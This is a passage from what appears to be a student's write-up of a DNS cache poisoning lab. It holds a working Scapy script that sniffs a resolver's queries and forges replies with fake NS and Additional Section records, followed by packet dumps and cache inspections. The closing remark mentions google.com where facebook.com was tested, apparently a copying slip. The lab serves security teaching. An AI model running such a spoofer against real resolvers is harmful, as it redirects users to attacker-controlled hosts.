;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 1551 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 21:07:16 UTC 2023
;; MSG SIZE  rcvd: 88

user-10.9.0.5:/
$>
```

```
$>rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep google
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep attacker
example.com.            776392  NS      ns.attacker32.com.
local-dns-server-10.9.0.53:/etc/bind
$>
```

As you can see above, the attempt to extend the domain was failed since the local DNS server cannot locate the faked NS record cache for the google.com domain.

Task 5: Spoofing Records in the Additional Section

Code :

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if DNS in pkt and pkt.haslayer(DNSQR) and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8'):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.1.1.1')

        # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.example.com.')

        # The Additional Section
        Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8')
        Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
                     nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        spoofpkt.show()
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-0f962276bcb4', filter=f, prn=spoof_dns)
```

This task's primary goal is to spoof a few entries in this area and test if the target local DNS server will successfully cache them. For the same, we add entries to the Additional Section.

Output:

```
$>./task5.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:0b
  src       = 02:42:0a:09:00:35
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 24724
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = 0xc366
     src       = 10.9.0.53
     dst       = 199.43.133.53
     \options   \
###[ UDP ]###
        sport     = 33333
        dport     = domain
        len       = 64
        chksum    = 0x56f0
###[ DNS ]###
           id        = 43370
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 0
           ra        = 0
```

```
z         = 0
ad        = 0
cd        = 1
rcode     = ok
qdcount   = 1
ancount   = 0
nscount   = 0
arcount   = 1
\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'www.example.com.'
 |  qtype     = A
 |  qclass    = IN
an        = None
ns        = None
\ar        \
 |###[ DNS OPT Resource Record ]###
 |  rrname    = '.'
 |  type      = OPT
 |  rclass    = 512
 |  extrcode  = 0
 |  version   = 0
 |  z         = D0
 |  rdlen     = None
 |  \rdata     \
 |   |###[ DNS EDNS0 TLV ]###
 |   |  optcode   = 10
 |   |  optlen    = 8
 |   |  optdata   = '\xdfa\x8f(\x90\xcf\x94\xfb'
```

```
###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 199.43.133.53
  dst       = 10.9.0.53
  \options   \
###[ UDP ]###
     sport     = domain
     dport     = 33333
     len       = None
     chksum    = None
###[ DNS ]###
        id        = 43370
        qr        = 1
        opcode    = QUERY
        aa        = 1
        tc        = 0
        rd        = 0
        ra        = 0
        z         = 0
        ad        = 0
        cd        = 0
        rcode     = ok
        qdcount   = 1
```

```
          \ar       \
           |###[ DNS Resource Record ]###
           |  rrname    = 'ns.attacker32.com'
           |  type      = A
           |  rclass    = IN
           |  ttl       = 259200
           |  rdlen     = None
           |  rdata     = 1.2.3.4
           |###[ DNS Resource Record ]###
           |  rrname    = 'ns.example.net'
           |  type      = A
           |  rclass    = IN
           |  ttl       = 259200
           |  rdlen     = None
           |  rdata     = 5.6.7.8
           |###[ DNS Resource Record ]###
           |  rrname    = 'www.facebook.com'
           |  type      = A
           |  rclass    = IN
           |  ttl       = 259200
           |  rdlen     = None
           |  rdata     = 3.4.5.6

.
Sent 1 packets.

user-10.9.0.5:/
$>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9421
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e533fe37fbcbc0f40100000065691d7ecc622d88a8c20115 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 1536 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 23:40:46 UTC 2023
;; MSG SIZE  rcvd: 88

user-10.9.0.5:/
$>
```

```
$>rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep attacker
                        776403  NS      ns.attacker32.com.
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep example
example.com.            776403  NS      ns.example.com.
www.example.com.        862804  A       1.1.1.1
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep facebook
local-dns-server-10.9.0.53:/etc/bind
$>
```

As you can see above, the attack was unsuccessful for the specific entries added in the Additional Section since we were unable to locate the faked NS record cache for the google.com domain on the local DNS server.